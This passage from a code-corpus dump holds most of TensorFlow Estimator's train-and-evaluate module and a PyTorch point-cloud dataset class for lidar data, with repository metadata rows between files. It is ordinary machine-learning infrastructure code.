_validate_input_fn(input_fn): """Validates the `input_fn`.""" if not callable(input_fn): raise TypeError('`input_fn` must be callable, given: {}'.format(input_fn)) def _validate_hooks(hooks): """Validates the `hooks`.""" hooks = tuple(hooks or []) for hook in hooks: if not isinstance(hook, session_run_hook.SessionRunHook): raise TypeError( 'All hooks must be `SessionRunHook` instances, given: {}'.format( hook)) return hooks def _validate_exporters(exporters): """Validates `exporters` and returns them as a tuple.""" if not exporters: return () if isinstance(exporters, exporter_lib.Exporter): exporters = [exporters] unique_names = [] # `Exporter`s should have unique names. try: for exporter in exporters: if not isinstance(exporter, exporter_lib.Exporter): # Error message will be printed out by the outer try/except. raise TypeError if not exporter.name: full_list_of_names = [e.name for e in exporters] raise ValueError('An Exporter cannot have a name that is `None` or' ' empty. All exporter names:' ' {}'.format(full_list_of_names)) if not isinstance(exporter.name, six.string_types): raise ValueError('An Exporter must have a string name. Given: ' '{}'.format(type(exporter.name))) if exporter.name in unique_names: full_list_of_names = [e.name for e in exporters] raise ValueError( '`exporters` must have unique names. Such a name cannot be `None`.' ' All exporter names: {}'.format(full_list_of_names)) unique_names.append(exporter.name) except TypeError: # Two possibilities: # - `exporters` is neither `Exporter` nor iterable. Python has # raised a `TypeError` when iterating over `exporters`. # - an `exporter` was None or not of type `Exporter`, so we raised a # `TypeError`. raise TypeError('`exporters` must be an Exporter,' ' an iterable of Exporter, or `None`,' ' found %s.' % exporters) return tuple(exporters) def _is_google_env(): """Detects whether current environment is google.""" tf_config = json.loads(os.environ.get(_TF_CONFIG_ENV) or '{}') if not tf_config: logging.warn('TF_CONFIG should not be empty in distributed environment.') return tf_config.get(_ENVIRONMENT_KEY) == _ENVIRONMENT_GOOGLE_VALUE @estimator_export('estimator.TrainSpec') class TrainSpec( collections.namedtuple('TrainSpec', ['input_fn', 'max_steps', 'hooks'])): """Configuration for the "train" part for the `train_and_evaluate` call. `TrainSpec` determines the input data for the training, as well as the duration. Optional hooks run at various stages of training. """ def __new__(cls, input_fn, max_steps=None, hooks=None): """Creates a validated `TrainSpec` instance. Args: input_fn: A function that provides input data for training as minibatches. See [Premade Estimators](https://tensorflow.org/guide/premade_estimators#create_input_functions) for more information. The function should construct and return one of the following: * A 'tf.data.Dataset' object: Outputs of `Dataset` object must be a tuple (features, labels) with same constraints as below. * A tuple (features, labels): Where features is a `Tensor` or a dictionary of string feature name to `Tensor` and labels is a `Tensor` or a dictionary of string label name to `Tensor`. max_steps: Int. Positive number of total steps for which to train model. If `None`, train forever. The training `input_fn` is not expected to generate `OutOfRangeError` or `StopIteration` exceptions. See the `train_and_evaluate` stop condition section for details. hooks: Iterable of `tf.train.SessionRunHook` objects to run on all workers (including chief) during training. Returns: A validated `TrainSpec` object. Raises: ValueError: If any of the input arguments is invalid. TypeError: If any of the arguments is not of the expected type. """ # Validate input_fn. _validate_input_fn(input_fn) # Validate max_steps. if max_steps is not None and max_steps <= 0: raise ValueError( 'Must specify max_steps > 0, given: {}'.format(max_steps)) # Validate hooks. hooks = _validate_hooks(hooks) return super(TrainSpec, cls).__new__( cls, input_fn=input_fn, max_steps=max_steps, hooks=hooks) @estimator_export('estimator.EvalSpec') class EvalSpec( collections.namedtuple('EvalSpec', [ 'input_fn', 'steps', 'name', 'hooks', 'exporters', 'start_delay_secs', 'throttle_secs' ])): """Configuration for the "eval" part for the `train_and_evaluate` call. `EvalSpec` combines details of evaluation of the trained model as well as its export. Evaluation consists of computing metrics to judge the performance of the trained model. Export writes out the trained model on to external storage. """ def __new__(cls, input_fn, steps=100, name=None, hooks=None, exporters=None, start_delay_secs=120, throttle_secs=600): """Creates a validated `EvalSpec` instance. Args: input_fn: A function that constructs the input data for evaluation. See [Premade Estimators](https://tensorflow.org/api_guides/premade_estimators#create_input_functions) for more information. The function should construct and return one of the following: * A 'tf.data.Dataset' object: Outputs of `Dataset` object must be a tuple (features, labels) with same constraints as below. * A tuple (features, labels): Where features is a `Tensor` or a dictionary of string feature name to `Tensor` and labels is a `Tensor` or a dictionary of string label name to `Tensor`. steps: Int. Positive number of steps for which to evaluate model. If `None`, evaluates until `input_fn` raises an end-of-input exception. See `Estimator.evaluate` for details. name: String. Name of the evaluation if user needs to run multiple evaluations on different data sets. Metrics for different evaluations are saved in separate folders, and appear separately in tensorboard. hooks: Iterable of `tf.train.SessionRunHook` objects to run during evaluation. exporters: Iterable of `Exporter`s, or a single one, or `None`. `exporters` will be invoked after each evaluation. start_delay_secs: Int. Start evaluating after waiting for this many seconds. throttle_secs: Int. Do not re-evaluate unless the last evaluation was started at least this many seconds ago. Of course, evaluation does not occur if no new checkpoints are available, hence, this is the minimum. Returns: A validated `EvalSpec` object. Raises: ValueError: If any of the input arguments is invalid. TypeError: If any of the arguments is not of the expected type. """ # Validate input_fn. _validate_input_fn(input_fn) # Validate steps. if steps is not None and steps <= 0: raise ValueError('Must specify steps > 0, given: {}'.format(steps)) # Validate name. if name is not None and not isinstance(name, six.string_types): raise TypeError('`name` must be string, given: {}'.format(name)) # Validate hooks. hooks = _validate_hooks(hooks) # Validate exporters. exporters = _validate_exporters(exporters) # Validate start_delay_secs. if start_delay_secs < 0: raise ValueError('Must specify start_delay_secs >= 0, given: {}'.format( start_delay_secs)) # Validate throttle_secs. if throttle_secs < 0: raise ValueError( 'Must specify throttle_secs >= 0, given: {}'.format(throttle_secs)) return super(EvalSpec, cls).__new__( cls, input_fn=input_fn, steps=steps, name=name, hooks=hooks, exporters=exporters, start_delay_secs=start_delay_secs, throttle_secs=throttle_secs) @estimator_export('estimator.train_and_evaluate') def train_and_evaluate(estimator, train_spec, eval_spec): """Train and evaluate the `estimator`. This utility function trains, evaluates, and (optionally) exports the model by using the given `estimator`. All training related specification is held in `train_spec`, including training `input_fn` and training max steps, etc. All evaluation and export related specification is held in `eval_spec`, including evaluation `input_fn`, steps, etc. This utility function provides consistent behavior for both local (non-distributed) and distributed configurations. The default distribution configuration is parameter server-based between-graph replication. For other types of distribution configurations such as all-reduce training, please use [DistributionStrategies](https://github.com/tensorflow/tensorflow/tree/master/tensorflow/contrib/distribute). # pylint: disable=line-too-long Overfitting: In order to avoid overfitting, it is recommended to set up the training `input_fn` to shuffle the training data properly. Stop condition: In order to support both distributed and non-distributed configuration reliably, the only supported stop condition for model training is `train_spec.max_steps`. If `train_spec.max_steps` is `None`, the model is trained forever. *Use with care* if model stop condition is different. For example, assume that the model is expected to be trained with one epoch of training data, and the training `input_fn` is configured to throw `OutOfRangeError` after going through one epoch, which stops the `Estimator.train`. For a three-training-worker distributed configuration, each training worker is likely to go through the whole epoch independently. So, the model will be trained with three epochs of training data instead of one epoch. Example of local (non-distributed) training: ```python # Set up feature columns. categorial_feature_a = categorial_column_with_hash_bucket(...) categorial_feature_a_emb = embedding_column( categorical_column=categorial_feature_a, ...) ... # other feature columns estimator = DNNClassifier( feature_columns=[categorial_feature_a_emb, ...], hidden_units=[1024, 512, 256]) # Or set up the model directory # estimator = DNNClassifier( # config=tf.estimator.RunConfig( # model_dir='/my_model', save_summary_steps=100), # feature_columns=[categorial_feature_a_emb, ...], # hidden_units=[1024, 512, 256]) # Input pipeline for train and evaluate. def train_input_fn(): # returns x, y # please shuffle the data. pass def eval_input_fn(): # returns x, y pass train_spec = tf.estimator.TrainSpec(input_fn=train_input_fn, max_steps=1000) eval_spec = tf.estimator.EvalSpec(input_fn=eval_input_fn) tf.estimator.train_and_evaluate(estimator, train_spec, eval_spec) ``` Note that in current implementation `estimator.evaluate` will be called multiple times. This means that evaluation graph (including eval_input_fn) will be re-created for each `evaluate` call. `estimator.train` will be called only once. Example of distributed training: Regarding the example of distributed training, the code above can be used without a change (Please do make sure that the `RunConfig.model_dir` for all workers is set to the same directory, i.e., a shared file system all workers can read and write). The only extra work to do is setting the environment variable `TF_CONFIG` properly for each worker correspondingly. Also see [Distributed TensorFlow](https://www.tensorflow.org/deploy/distributed). Setting environment variable depends on the platform. For example, on Linux, it can be done as follows (`$` is the shell prompt): ``` $ TF_CONFIG='<replace_with_real_content>' python train_model.py ``` For the content in `TF_CONFIG`, assume that the training cluster spec looks like: ``` cluster = {"chief": ["host0:2222"], "worker": ["host1:2222", "host2:2222", "host3:2222"], "ps": ["host4:2222", "host5:2222"]} ``` Example of `TF_CONFIG` for chief training worker (must have one and only one): ``` # This should be a JSON string, which is set as environment variable. Usually # the cluster manager handles that. TF_CONFIG='{ "cluster": { "chief": ["host0:2222"], "worker": ["host1:2222", "host2:2222", "host3:2222"], "ps": ["host4:2222", "host5:2222"] }, "task": {"type": "chief", "index": 0} }' ``` Note that the chief worker also does the model training job, similar to other non-chief training workers (see next paragraph). In addition to the model training, it manages some extra work, e.g., checkpoint saving and restoring, writing summaries, etc. Example of `TF_CONFIG` for non-chief training worker (optional, could be multiple): ``` # This should be a JSON string, which is set as environment variable. Usually # the cluster manager handles that. TF_CONFIG='{ "cluster": { "chief": ["host0:2222"], "worker": ["host1:2222", "host2:2222", "host3:2222"], "ps": ["host4:2222", "host5:2222"] }, "task": {"type": "worker", "index": 0} }' ``` where the `task.index` should be set as 0, 1, 2, in this example, respectively for non-chief training workers. Example of `TF_CONFIG` for parameter server, aka ps (could be multiple): ``` # This should be a JSON string, which is set as environment variable. Usually # the cluster manager handles that. TF_CONFIG='{ "cluster": { "chief": ["host0:2222"], "worker": ["host1:2222", "host2:2222", "host3:2222"], "ps": ["host4:2222", "host5:2222"] }, "task": {"type": "ps", "index": 0} }' ``` where the `task.index` should be set as 0 and 1, in this example, respectively for parameter servers. Example of `TF_CONFIG` for evaluator task. Evaluator is a special task that is not part of the training cluster. There could be only one. It is used for model evaluation. ``` # This should be a JSON string, which is set as environment variable. Usually # the cluster manager handles that. TF_CONFIG='{ "cluster": { "chief": ["host0:2222"], "worker": ["host1:2222", "host2:2222", "host3:2222"], "ps": ["host4:2222", "host5:2222"] }, "task": {"type": "evaluator", "index": 0} }' ``` When `distribute` or `experimental_distribute.train_distribute` and `experimental_distribute.remote_cluster` is set, this method will start a client running on the current host which connects to the `remote_cluster` for training and evaluation. Args: estimator: An `Estimator` instance to train and evaluate. train_spec: A `TrainSpec` instance to specify the training specification. eval_spec: A `EvalSpec` instance to specify the evaluation and export specification. Returns: A tuple of the result of the `evaluate` call to the `Estimator` and the export results using the specified `ExportStrategy`. Currently, the return value is undefined for distributed training mode. Raises: ValueError: if environment variable `TF_CONFIG` is incorrectly set. """ _assert_eval_spec(eval_spec) # fail fast if eval_spec is invalid. executor = _TrainingExecutor( estimator=estimator, train_spec=train_spec, eval_spec=eval_spec) config = estimator.config # If `distribute_coordinator_mode` is set and running in distributed # environment, we run `train_and_evaluate` via distribute coordinator. if distribute_coordinator_training.should_run_distribute_coordinator(config): logging.info('Running `train_and_evaluate` with Distribute Coordinator.') distribute_coordinator_training.train_and_evaluate( estimator, train_spec, eval_spec, _TrainingExecutor) return if (config.task_type == run_config_lib.TaskType.EVALUATOR and config.task_id > 0): raise ValueError( 'For distributed training, there can only be one `evaluator` task ' '(with task id 0). Given task id {}'.format(config.task_id)) return executor.run() class _StopAtSecsHook(session_run_hook.SessionRunHook): """Stops given secs after begin is called.""" def __init__(self, stop_after_secs): self._stop_after_secs = stop_after_secs self._start_time = None def begin(self): self._start_time = time.time() def after_run(self, run_context, run_values): del run_values if time.time() - self._start_time >= self._stop_after_secs: run_context.request_stop() class _NewCheckpointListenerForEvaluate( basic_session_run_hooks.CheckpointSaverListener): """A saver listener to run evaluate with every checkpoint.""" def __init__(self, evaluator, eval_throttle_secs, continuous_eval_listener): self._evaluator = evaluator self._eval_throttle_secs = eval_throttle_secs self._continuous_eval_listener = continuous_eval_listener self.eval_result, self.export_results = None, None def begin(self): self._timer = basic_session_run_hooks.SecondOrStepTimer( every_secs=self._eval_throttle_secs) self._is_first_run = True def after_save(self, session, global_step_value): del session # unused; required by signature. # skip first run model is not trained yet. if self._is_first_run: self._is_first_run = False return if not self._continuous_eval_listener.before_eval(): logging.info('Exiting training and evaluation loop, as requested by ' '_ContinuousEvalListener.before_eval.') return True if self._timer.should_trigger_for_step(global_step_value): self._evaluate(global_step_value) # updates self.eval_result if not self._continuous_eval_listener.after_eval(self.eval_result): logging.info('Exiting evaluation, as requested by ' '_ContinuousEvalListener.after_eval.') return True else: # TODO(ispir): add remaining time in the log. logging.info('Skip the current checkpoint eval due to throttle secs ' '({} secs).'.format(self._eval_throttle_secs)) def end(self, session, global_step_value): # Evaluate if the last step has not been evaluated, yet. if global_step_value != self._timer.last_triggered_step(): if self._continuous_eval_listener.before_eval(): self._evaluate(global_step_value) self._continuous_eval_listener.after_eval(self.eval_result) def _evaluate(self, global_step_value): self._timer.update_last_triggered_step(global_step_value) self.eval_result, self.export_results = ( self._evaluator.evaluate_and_export()) if self.eval_result.status != _EvalStatus.EVALUATED: # This is unexpected; should never happen. # Training should always end with a new checkpoint. raise RuntimeError('There was no new checkpoint after the training. ' 'Eval status: {}'.format(self.eval_result.status)) class _TrainingExecutor(object): """The executor to run `Estimator` training and evaluation. This implementation supports both distributed and non-distributed (aka local) training and evaluation based on the setting in `tf.estimator.RunConfig`. """ def __init__(self, estimator, train_spec, eval_spec, train_hooks=None, continuous_eval_listener=None): if not isinstance(estimator, estimator_lib.Estimator): raise TypeError( '`estimator` must have type `tf.estimator.Estimator`. ' 'Got: {}'.format(type(estimator))) self._estimator = estimator if not isinstance(train_spec, TrainSpec): raise TypeError( '`train_spec` must have type `tf.estimator.TrainSpec`. ' 'Got: {}'.format(type(train_spec))) self._train_spec = train_spec if eval_spec and not isinstance(eval_spec, EvalSpec): raise TypeError('`eval_spec` must be either `None` or have type ' '`tf.estimator.EvalSpec`. Got: {}'.format( type(eval_spec))) self._eval_spec = eval_spec self._train_hooks = _validate_hooks(train_hooks) if (continuous_eval_listener and not isinstance(continuous_eval_listener, _ContinuousEvalListener)): raise TypeError('`continuous_eval_listener` must have type ' '`_ContinuousEvalListener`.') self._continuous_eval_listener = ( continuous_eval_listener or _ContinuousEvalListener()) @property def estimator(self): return self._estimator def run(self): """Executes the run_foo for task type `foo`. `_TrainingExecutor` predefines the procedure for task type 'chief', 'worker', 'ps', and 'evaluator'. For task type `foo`, the corresponding procedure is `run_foo'. This `run` method invoke the procedure base on the `RunConfig.task_type`. Returns: A tuple of the result of the `evaluate` call to the `Estimator` and the export results using the specified `ExportStrategy`. Currently undefined for distributed training mode. Raises: ValueError: if the estimator.config is mis-configured. """ config = self._estimator.config if (not config.cluster_spec and config.task_type != run_config_lib.TaskType.EVALUATOR): logging.info('Running training and evaluation locally (non-distributed).') return self.run_local() # Distributed case. if not config.task_type: # TODO(xiejw): Improve the error message about how to set the TF_CONFIG # correctly. raise ValueError( '`estimator.config` must have task_type set. This usually means ' 'TF_CONFIG environment is not set correctly.') if config.task_type == 'local': raise ValueError( '`task.type` in TF_CONFIG cannot be `local`. Leaving `cluster` and ' '`task` properties in TF_CONFIG absent triggers train and evaluate ' '`Estimator` locally (non-distributed).') # For task type foo, call executor.run_foo. available_tasks = [ x for x in dir(self) if x.startswith('run_') and x != 'run_local' and callable(getattr(self, x)) ] task_to_run = 'run_' + config.task_type if task_to_run not in available_tasks: raise ValueError( 'Task type {} is not supported. Supported task types are {}'.format( config.task_type, [x[len('run_'):] for x in available_tasks])) getattr(self, task_to_run)() def run_chief(self): """Runs task chief.""" # TODO(xiejw): To allow execution framework to add train hooks. return self._start_distributed_training() def run_worker(self): """Runs task (training) worker.""" # TODO(xiejw): To allow execution framework to add train hooks. return self._start_distributed_training() def run_master(self): """Runs task master.""" _assert_eval_spec(self._eval_spec) # Final export signal: For any eval result with global_step >= train # max_steps, the evaluator will send the final export signal. There is a # small chance that the Estimator.train stopping logic sees a different # global_step value (due to global step race condition and the fact the # saver sees a larger value for checkpoint saving), which does not end # the training. When the training ends, a new checkpoint is generated, which # triggers the listener again. So, it could be the case the final export is # triggered twice. # # But here, throttle_secs will skip the next intermediate checkpoint and, # so, the double final export chance is very small. evaluator = _TrainingExecutor._Evaluator(self._estimator, self._eval_spec, self._train_spec.max_steps) # When the underlying `Estimator` object saves a new checkpoint, we would # like this callback to be called so that evaluation and export can trigger. saving_listeners = [ _NewCheckpointListenerForEvaluate(evaluator, self._eval_spec.throttle_secs, _ContinuousEvalListener()) ] self._start_distributed_training(saving_listeners=saving_listeners) def run_evaluator(self): """Runs task evaluator.""" # TODO(xiejw): To allow execution framework to add continuous eval listener. return self._start_continuous_evaluation() def run_ps(self): """Runs task parameter server (in training cluster spec).""" config = self._estimator.config server = self._start_std_server(config) server.join() def run_local(self): """Runs training and evaluation locally (non-distributed).""" _assert_eval_spec(self._eval_spec) train_hooks = list(self._train_spec.hooks) + list(self._train_hooks) logging.info('Start train and evaluate loop. The evaluate will happen ' 'after every checkpoint. Checkpoint frequency is determined ' 'based on RunConfig arguments: save_checkpoints_steps {} or ' 'save_checkpoints_secs {}.'.format( self._estimator.config.save_checkpoints_steps, self._estimator.config.save_checkpoints_secs)) evaluator = _TrainingExecutor._Evaluator(self._estimator, self._eval_spec, self._train_spec.max_steps) listener_for_eval = _NewCheckpointListenerForEvaluate( evaluator, self._eval_spec.throttle_secs, self._continuous_eval_listener) saving_listeners = [listener_for_eval] self._estimator.train( input_fn=self._train_spec.input_fn, max_steps=self._train_spec.max_steps, hooks=train_hooks, saving_listeners=saving_listeners) eval_result = listener_for_eval.eval_result or _EvalResult( status=_EvalStatus.MISSING_CHECKPOINT) return eval_result.metrics, listener_for_eval.export_results def _start_std_server(self, config): """Creates, starts, and returns a server_lib.Server.""" if (not config.cluster_spec or not config.task_type or config.task_id is None): raise RuntimeError('Could not start server; be sure to specify ' 'cluster_spec, task_type, and task in ' 'RunConfig or set the TF_CONFIG environment variable.') if not config.master: jobs = config.cluster_spec.jobs if (len(jobs) == 1 and len(config.cluster_spec.job_tasks(jobs[0])) == 1 and config.task_type in _TRAINER_JOBS): # For distributed training, config.master is empty if and only if it has # a single node in the cluster spec. In this case, we should not start # the server. logging.info('Skip starting Tensorflow server as there is only one ' 'node in the cluster.') return else: raise RuntimeError( 'Could not start server; be sure to specify master in ' 'RunConfig or set the TF_CONFIG environment variable.') logging.info('Start Tensorflow server.') if config.session_config is None: session_config = config_pb2.ConfigProto(log_device_placement=False) else: session_config = config_pb2.ConfigProto( log_device_placement=False, gpu_options=config.session_config.gpu_options) server = server_lib.Server( config.cluster_spec, job_name=config.task_type, task_index=config.task_id, config=session_config, start=False, protocol=config.protocol) server.start() return server def _start_distributed_training(self, saving_listeners=None): """Calls `Estimator` train in a distributed setting.""" config = self._estimator.config # Start in-process TensorFlow server if needed. It's important to start the # server before we (optionally) sleep. Otherwise, the servers will wait to # connect to each other before starting to train. if not _is_google_env(): self._start_std_server(config) # Delay worker to start. For asynchronous training, this usually helps model # to converge faster. Chief starts the training immediately, so, worker # with task id x (0-based) should wait (x+1) * _DELAY_SECS_PER_WORKER. start_delay_secs = 0 if config.task_type == run_config_lib.TaskType.WORKER: # TODO(xiejw): Replace the hard code logic (task_id + 1) with unique id in # training cluster. start_delay_secs = min(_MAX_DELAY_SECS, (config.task_id + 1) * _DELAY_SECS_PER_WORKER) if start_delay_secs > 0: logging.info('Waiting %d secs before starting training.', start_delay_secs) time.sleep(start_delay_secs) self._estimator.train( input_fn=self._train_spec.input_fn, max_steps=self._train_spec.max_steps, hooks=list(self._train_spec.hooks) + list(self._train_hooks), saving_listeners=saving_listeners) def _start_continuous_evaluation(self): """Repeatedly calls `Estimator` evaluate and export until training ends.""" _assert_eval_spec(self._eval_spec) start_delay_secs = self._eval_spec.start_delay_secs if start_delay_secs: logging.info('Waiting %f secs before starting eval.', start_delay_secs) time.sleep(start_delay_secs) latest_eval_result = None evaluator = _TrainingExecutor._Evaluator(self._estimator, self._eval_spec, self._train_spec.max_steps) should_early_stop = False while not should_early_stop: if (latest_eval_result and latest_eval_result.status == _EvalStatus.EVALUATED): global_step = latest_eval_result.metrics.get(ops.GraphKeys.GLOBAL_STEP) if (global_step and self._train_spec.max_steps and global_step >= self._train_spec.max_steps): logging.info( 'Exiting evaluation, global_step=%s >= train max_steps=%s', global_step, self._train_spec.max_steps) return latest_eval_result, should_early_stop = self._execute_evaluator_once( evaluator, self._continuous_eval_listener, self._eval_spec.throttle_secs) def _execute_evaluator_once(self, evaluator, continuous_eval_listener, throttle_secs): """Executes the `evaluator`.""" _assert_eval_spec(self._eval_spec) start = time.time() eval_result = None should_early_stop = False if not continuous_eval_listener.before_eval(): logging.info('Exiting evaluation, as requested by ' '_ContinuousEvalListener.before_eval.') should_early_stop = True return (eval_result, should_early_stop) # Final export signal: For any eval result with global_step >= train # max_steps, the evaluator will send the final export signal. The next # iteration of while loop will end the continuous eval as the stopping # condition is satisfied (both checks use the same global_step value, # i.e., no race condition) eval_result, _ = evaluator.evaluate_and_export() if not self._continuous_eval_listener.after_eval(eval_result): logging.info('Exiting evaluation, as requested by ' '_ContinuousEvalListener.after_eval.') should_early_stop = True return (eval_result, should_early_stop) # Throttle if necessary. elapsed_time = time.time() - start difference = throttle_secs - elapsed_time if difference > 0: logging.info('Waiting %f secs before starting next eval run.', difference) time.sleep(difference) elif (throttle_secs == 0 and eval_result.status != _EvalStatus.EVALUATED): # Prints a user-actionable warning to avoid unnecessary load on evaluator. logging.warning( 'EvalSpec.throttle_secs is set as 0. This might overload the job ' 'before finding (next) new checkpoint. Please consider to increase ' 'it.') return (eval_result, should_early_stop) class _Evaluator(object): """A helper class to call `Estimator.evaluate` and export model.""" def __init__(self, estimator, eval_spec, max_training_steps): self._estimator = estimator _assert_eval_spec(eval_spec) self._eval_spec = eval_spec self._is_final_export_triggered = False self._previous_ckpt_path = None self._last_warning_time = 0 self._max_training_steps = max_training_steps @property def is_final_export_triggered(self): return self._is_final_export_triggered def evaluate_and_export(self): """Evaluate and (maybe) export the current model. Returns: A tuple of `EvalResult` instance and the export results. Raises: RuntimeError: for any unexpected internal error. TypeError: if evaluation result has wrong type. """ latest_ckpt_path = self._estimator.latest_checkpoint() if not latest_ckpt_path: self._log_err_msg('Estimator is not trained yet. Will start an ' 'evaluation when a checkpoint is ready.') return _EvalResult(status=_EvalStatus.MISSING_CHECKPOINT), [] if latest_ckpt_path == self._previous_ckpt_path: self._log_err_msg( 'No new checkpoint ready for evaluation. Skip the current ' 'evaluation pass as evaluation results are expected to be same ' 'for the same checkpoint.') return _EvalResult(status=_EvalStatus.NO_NEW_CHECKPOINT), [] metrics = self._estimator.evaluate( input_fn=self._eval_spec.input_fn, steps=self._eval_spec.steps, name=self._eval_spec.name, checkpoint_path=latest_ckpt_path, hooks=self._eval_spec.hooks) # _EvalResult validates the metrics. eval_result = _EvalResult( status=_EvalStatus.EVALUATED, metrics=metrics, checkpoint_path=latest_ckpt_path) is_the_final_export = ( eval_result.metrics[ops.GraphKeys.GLOBAL_STEP] >= self._max_training_steps if self._max_training_steps else False) export_results = self._export_eval_result(eval_result, is_the_final_export) if is_the_final_export: logging.debug('Calling exporter with the `is_the_final_export=True`.') self._is_final_export_triggered = True self._last_warning_time = 0 self._previous_ckpt_path = latest_ckpt_path return eval_result, export_results def _log_err_msg(self, message): """Prints warning `message` every 10 mins.""" current_time = time.time() if current_time - self._last_warning_time > 600: logging.warning(message) self._last_warning_time = current_time def _export_eval_result(self, eval_result, is_the_final_export): """Export `eval_result` according to exporters in `EvalSpec`.""" export_dir_base = os.path.join( compat.as_str_any(self._estimator.model_dir), compat.as_str_any('export')) export_results = [] for exporter in self._eval_spec.exporters: export_results.append( exporter.export( estimator=self._estimator, export_path=os.path.join( compat.as_str_any(export_dir_base), compat.as_str_any(exporter.name)), checkpoint_path=eval_result.checkpoint_path, eval_result=eval_result.metrics, is_the_final_export=is_the_final_export)) return export_results class _EvalStatus(object): """The status of an evaluation event. For local training and evaluation, the status can only be `EVALUATED` as `Estimator.train` always generates a new checkpoint. For distributed training and evaluation, a separated evaluator keeps looking for new checkpoint. So, multiple situations might occur: - EVALUATED: A new checkpoint is found since last evaluation. `Estimator.evaluate` will be invoked. - MISSING_CHECKPOINT: No checkpoint can be found. Typically, this means the trainer has not yet produced any checkpoint. - NO_NEW_CHECKPOINT: No new checkpoint can be found since last evaluation. Typically, this means the trainer has not yet produced any new checkpoint. """ EVALUATED = 'evaluated' MISSING_CHECKPOINT = 'missing checkpoint' NO_NEW_CHECKPOINT = 'no new checkpoint' class _EvalResult( collections.namedtuple('EvalResult', ['status', 'metrics', 'checkpoint_path'])): """_EvalResult holds the result of an evaluation event.""" def __new__(cls, status, metrics=None, checkpoint_path=None): """Creates a validated `_EvalResult`. Args: status: See `_EvalStatus`. metrics: The evaluation results returned by `Estimator.evaluate`. Only set if status is `EVALUATED`. checkpoint_path: The corresponding checkpoint path for the `metrics`. Only set if status is `EVALUATED`. Returns: A validated `_EvalResult` object. Raises: ValueError: If validation fails. TypeError: If any of the arguments is not the expected type. """ if status != _EvalStatus.EVALUATED: if metrics: raise ValueError( 'metrics must be `None` if status is not {}; got status {},' ' metrics {}'.format(_EvalStatus.EVALUATED, status, metrics)) if checkpoint_path: raise ValueError( 'checkpoint must be `None` if status is not {}; got status {}, ' 'checkpoint_path {}'.format(_EvalStatus.EVALUATED, status, checkpoint_path)) return super(_EvalResult, cls).__new__(cls, status, metrics, checkpoint_path) # Now, evaluated case. assert status == _EvalStatus.EVALUATED # Validates metrics. if not metrics: raise ValueError( 'Internal error: `Estimator.evaluate` should never return empty ' 'metrics.') if not isinstance(metrics, dict): raise TypeError( '`Estimator.evaluate` should return dict. Given {}.'.format( type(metrics))) if ops.GraphKeys.GLOBAL_STEP not in metrics: raise ValueError( 'Internal error: `Estimator.evaluate` result should have ' '`global_step` in result. Given {}'.format(metrics)) # Validates checkpoint_path. if not checkpoint_path: raise ValueError( 'Internal error: `checkpoint_path` should never be empty.') return super(_EvalResult, cls).__new__(cls, status, metrics, checkpoint_path) class _ContinuousEvalListener(object): """Interface for listeners that take action before or after evaluation.""" def before_eval(self): """Called before evaluation. Returns: `False` if you want to skip the current evaluation and early stop the continuous evaluation; `True` otherwise. """ return True def after_eval(self, eval_result): """Called after the evaluation is executed. Args: eval_result: An `_EvalResult` instance. Returns: False if you want to early stop continuous evaluation; `True` otherwise. """ del eval_result return True def _assert_eval_spec(eval_spec): """Raise error if `eval_spec` is not of the right type.""" if not isinstance(eval_spec, EvalSpec): raise TypeError('`eval_spec` must have type `tf.estimator.EvalSpec`. ' 'Got: {}'.format(type(eval_spec)))

39.179702

144

0.686447

b4059bf717f5a5b7b5a23c6e3b2f5b6cfe641fdd

2,968

py

Python

lidardet/datasets/base.py

Jiaolong/trajectory-prediction

3fd4e6253b44dfdc86e7c08e93c002baf66f2e46

[ "Apache-2.0" ]

6

2021-05-10T09:42:01.000Z

2022-01-04T08:03:42.000Z

lidardet/datasets/base.py

Jiaolong/trajectory-prediction

3fd4e6253b44dfdc86e7c08e93c002baf66f2e46

[ "Apache-2.0" ]

3

2021-08-16T02:19:10.000Z

2022-01-10T02:05:48.000Z

lidardet/datasets/base.py

Jiaolong/trajectory-prediction

3fd4e6253b44dfdc86e7c08e93c002baf66f2e46

[ "Apache-2.0" ]

1

2021-07-15T00:51:58.000Z

import numpy as np from pathlib import Path from collections import defaultdict from torch.utils.data import Dataset from .registry import DATASETS from .augmentor import DataAugmentor from .processor import DataProcessor @DATASETS.register class PointCloudDataset(Dataset): def __init__(self, cfg, logger=None): self.cfg = cfg self.logger = logger self.class_names = cfg.class_names self.root_path = Path(cfg.root_path) if self.cfg.get('augmentor', None): self.data_augmentor = DataAugmentor(self.root_path, cfg.augmentor, self.class_names, logger) if self.cfg.get('pre_processor', None): self.pre_processor = DataProcessor(cfg.pre_processor) def __len__(self): raise NotImplementedError def forward(self, index): raise NotImplementedError def augment_data(self, data_dict): if data_dict.get('gt_names', None) is not None: gt_boxes_mask = np.array([n in self.class_names for n in data_dict['gt_names']], dtype=np.bool_) data_dict = self.data_augmentor.forward( data_dict={ **data_dict, 'gt_boxes_mask': gt_boxes_mask } ) else: data_dict = self.data_augmentor.forward( data_dict={**data_dict}) if data_dict.get('gt_boxes', None) is not None: if len(data_dict['gt_boxes']) == 0: new_index = np.random.randint(self.__len__()) return self.__getitem__(new_index) return data_dict def pre_process(self, data_dict): data_dict = self.pre_processor.forward(data_dict) return data_dict @staticmethod def collate_batch(batch_list, _unused=False): data_dict = defaultdict(list) for cur_sample in batch_list: for key, val in cur_sample.items(): data_dict[key].append(val) batch_size = len(batch_list) ret = {} for key, val in data_dict.items(): if key in ['voxels', 'voxel_num_points']: ret[key] = np.concatenate(val, axis=0) elif key in ['points', 'voxel_coords']: coors = [] for i, coor in enumerate(val): coor_pad = np.pad(coor, ((0, 0), (1, 0)), mode='constant', constant_values=i) coors.append(coor_pad) ret[key] = np.concatenate(coors, axis=0) elif key in ['gt_boxes']: max_gt = max([len(x) for x in val]) batch_gt_boxes3d = np.zeros((batch_size, max_gt, val[0].shape[-1]), dtype=np.float32) for k in range(batch_size): batch_gt_boxes3d[k, :val[k].__len__(), :] = val[k] ret[key] = batch_gt_boxes3d else: ret[key] = np.stack(val, axis=0) ret['batch_size'] = batch_size return ret

35.333333

108

0.584232

c4cf69bcf3f38f0cafb6db86de951fd40b2deddf

2,733

py

Python

Tools/Scripts/webkitpy/tool/steps/update_unittest.py

jacadcaps/webkitty

9aebd2081349f9a7b5d168673c6f676a1450a66d

[ "BSD-2-Clause" ]

6

2021-07-05T16:09:39.000Z

2022-03-06T22:44:42.000Z

Tools/Scripts/webkitpy/tool/steps/update_unittest.py

jacadcaps/webkitty

9aebd2081349f9a7b5d168673c6f676a1450a66d

[ "BSD-2-Clause" ]

7

2022-03-15T13:25:39.000Z

2022-03-15T13:25:44.000Z

